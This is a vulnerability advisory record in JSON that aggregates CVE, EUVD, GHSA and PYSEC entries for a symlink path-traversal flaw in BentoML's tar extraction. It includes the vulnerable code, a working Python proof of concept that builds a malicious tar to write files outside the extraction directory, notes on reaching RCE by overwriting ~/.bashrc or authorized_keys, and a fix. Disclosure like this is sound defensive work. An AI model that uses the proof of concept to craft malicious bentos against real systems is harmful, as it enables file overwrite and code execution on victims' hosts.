{"id":"CVE-2026-27905","aliases":["EUVD-2026-9343","GHSA-m6w7-qv66-g3mf","PYSEC-2026-2398"],"status":"published","title":"BentoML has an Arbitrary File Write via Symlink Path Traversal in Tar Extraction","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. 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Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.","status":"published","published":"2026-03-03T22:45:40.434Z","modified":"2026-03-04T21:23:39.612Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T14:19:48.826324Z"}],"euvd":[{"id":"EUVD-2026-9343","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.","status":"published","published":"2026-03-03T22:45:40Z","modified":"2026-03-04T21:23:39Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:48:10.597616Z"}],"ghsa":[{"id":"GHSA-m6w7-qv66-g3mf","title":"BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction","description":"# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n    os.makedirs(destination, exist_ok=True)\n    for member in tar.getmembers():\n        fn = member.name\n        path = os.path.abspath(os.path.join(destination, fn))\n        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE\n            continue  # Only checks member path, NOT symlink target\n        if member.issym():\n            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target\n        else:\n            fp = tar.extractfile(member)\n            with open(path, \"wb\") as destfp:  # Line 92: open() FOLLOWS symlinks\n                shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n    buf = io.BytesIO()\n    with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n        sym = tarfile.TarInfo(name='escape')\n        sym.type = tarfile.SYMTYPE\n        sym.linkname = target_dir\n        tar.addfile(sym)\n        info = tarfile.TarInfo(name=f'escape/{target_file}')\n        info.size = len(payload)\n        tar.addfile(info, io.BytesIO(payload))\n    buf.seek(0)\n    return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    extract_dir = os.path.join(tmpdir, 'extract')\n    target_dir = os.path.join(tmpdir, 'outside')\n    os.makedirs(target_dir)\n    \n    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n    \n    # Reproduce filesystem.py:58-96\n    os.makedirs(extract_dir, exist_ok=True)\n    for member in tar.getmembers():\n        path = os.path.abspath(os.path.join(extract_dir, member.name))\n        if not Path(path).is_relative_to(extract_dir): continue\n        if member.issym():\n            tar._extract_member(member, path)  # Symlink target NOT checked\n        else:\n            fp = tar.extractfile(member)\n            os.makedirs(os.path.dirname(path), exist_ok=True)\n            if fp:\n                with open(path, 'wb') as destfp:  # Follows symlink!\n                    shutil.copyfileobj(fp, destfp)\n    \n    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n    if not Path(target).is_relative_to(dest):\n        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n        continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","status":"published","published":"2026-03-03T17:46:47Z","modified":"2026-03-04T02:00:45Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:39:31.060223Z"}],"nvd":[{"id":"CVE-2026-27905","description":"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. 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Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.","status":"published","published":"2026-03-03T22:45:40.434Z","modified":"2026-10-28T02:30:24.888244598Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-59"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"GHSA-m6w7-qv66-g3mf","title":"BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction","description":"# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n    os.makedirs(destination, exist_ok=True)\n    for member in tar.getmembers():\n        fn = member.name\n        path = os.path.abspath(os.path.join(destination, fn))\n        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE\n            continue  # Only checks member path, NOT symlink target\n        if member.issym():\n            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target\n        else:\n            fp = tar.extractfile(member)\n            with open(path, \"wb\") as destfp:  # Line 92: open() FOLLOWS symlinks\n                shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n    buf = io.BytesIO()\n    with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n        sym = tarfile.TarInfo(name='escape')\n        sym.type = tarfile.SYMTYPE\n        sym.linkname = target_dir\n        tar.addfile(sym)\n        info = tarfile.TarInfo(name=f'escape/{target_file}')\n        info.size = len(payload)\n        tar.addfile(info, io.BytesIO(payload))\n    buf.seek(0)\n    return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    extract_dir = os.path.join(tmpdir, 'extract')\n    target_dir = os.path.join(tmpdir, 'outside')\n    os.makedirs(target_dir)\n    \n    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n    \n    # Reproduce filesystem.py:58-96\n    os.makedirs(extract_dir, exist_ok=True)\n    for member in tar.getmembers():\n        path = os.path.abspath(os.path.join(extract_dir, member.name))\n        if not Path(path).is_relative_to(extract_dir): continue\n        if member.issym():\n            tar._extract_member(member, path)  # Symlink target NOT checked\n        else:\n            fp = tar.extractfile(member)\n            os.makedirs(os.path.dirname(path), exist_ok=True)\n            if fp:\n                with open(path, 'wb') as destfp:  # Follows symlink!\n                    shutil.copyfileobj(fp, destfp)\n    \n    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n    if not Path(target).is_relative_to(dest):\n        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n        continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","status":"published","published":"2026-03-03T17:46:47Z","modified":"2026-07-13T16:43:31.73728224Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:51.463834Z"},{"id":"PYSEC-2026-2398","title":"BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction","description":"# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n    os.makedirs(destination, exist_ok=True)\n    for member in tar.getmembers():\n        fn = member.name\n        path = os.path.abspath(os.path.join(destination, fn))\n        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE\n            continue  # Only checks member path, NOT symlink target\n        if member.issym():\n            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target\n        else:\n            fp = tar.extractfile(member)\n            with open(path, \"wb\") as destfp:  # Line 92: open() FOLLOWS symlinks\n                shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n    buf = io.BytesIO()\n    with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n        sym = tarfile.TarInfo(name='escape')\n        sym.type = tarfile.SYMTYPE\n        sym.linkname = target_dir\n        tar.addfile(sym)\n        info = tarfile.TarInfo(name=f'escape/{target_file}')\n        info.size = len(payload)\n        tar.addfile(info, io.BytesIO(payload))\n    buf.seek(0)\n    return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    extract_dir = os.path.join(tmpdir, 'extract')\n    target_dir = os.path.join(tmpdir, 'outside')\n    os.makedirs(target_dir)\n    \n    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n    \n    # Reproduce filesystem.py:58-96\n    os.makedirs(extract_dir, exist_ok=True)\n    for member in tar.getmembers():\n        path = os.path.abspath(os.path.join(extract_dir, member.name))\n        if not Path(path).is_relative_to(extract_dir): continue\n        if member.issym():\n            tar._extract_member(member, path)  # Symlink target NOT checked\n        else:\n            fp = tar.extractfile(member)\n            os.makedirs(os.path.dirname(path), exist_ok=True)\n            if fp:\n                with open(path, 'wb') as destfp:  # Follows symlink!\n                    shutil.copyfileobj(fp, destfp)\n    \n    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n    if not Path(target).is_relative_to(dest):\n        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n        continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","status":"published","published":"2026-07-13T14:36:40.716464Z","modified":"2026-07-13T16:31:38.609118661Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}